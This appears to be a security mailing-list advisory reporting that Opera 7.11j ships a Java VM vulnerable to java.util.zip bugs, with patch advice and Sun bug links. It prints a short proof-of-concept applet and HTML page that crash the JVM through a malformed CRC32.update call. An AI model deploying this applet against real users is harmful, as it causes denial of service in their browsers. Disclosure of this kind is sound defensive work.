Opera 7.11 java.util.zip.* Vulnerability

[Marc Schoenefeld <schonef () uni-muenster de>]

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Hi,

 the just released Opera 7.11j comes with a java vm (1.4.1_01)
 that is vulnerable to the java.util.zip.* bugs
 that can cause denial of service via Java Applets
 like the one with source printed below.
 Therefore my suggestion towards the Opera deployment
 team is to bundle java 1.4.1_02 which is not vulnerable
 to the java.util.zip-Bugs.
 All 1.3.1 versions are still vulnerable !
 If you already installed java 1.4.1_02 prior to
 installing Opera you are not vulnerable, because
 the most current jvm seems to be chosen by opera
 when running applets.
 If you are interested in the details (not opera-specific),
 read the whole story at www.illegalaccess.org or read:

http://developer.java.sun.com/developer/bugParade/bugs/4811913.html
http://developer.java.sun.com/developer/bugParade/bugs/4812181.html
http://developer.java.sun.com/developer/bugParade/bugs/4812006.html
http://developer.java.sun.com/developer/bugParade/bugs/4811927.html
http://developer.java.sun.com/developer/bugParade/bugs/4811917.html

Sincerely
Marc Schoenefeld


The applet code:
========CRCApplet.java=======================
 import java.applet.Applet;
import java.awt.Graphics;

public class CRCApplet extends Applet{
public void paint(Graphics g) {
         (new java.util.zip.CRC32()).update(new
byte[0],Integer.MAX_VALUE-3,4);
}
}
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The corresponding HTML
=======CRCApplet.html======================
|html>
|body>
|applet code=CRCApplet.class width=400 height=400>
|/applet>
|/body>
|/html>
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Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
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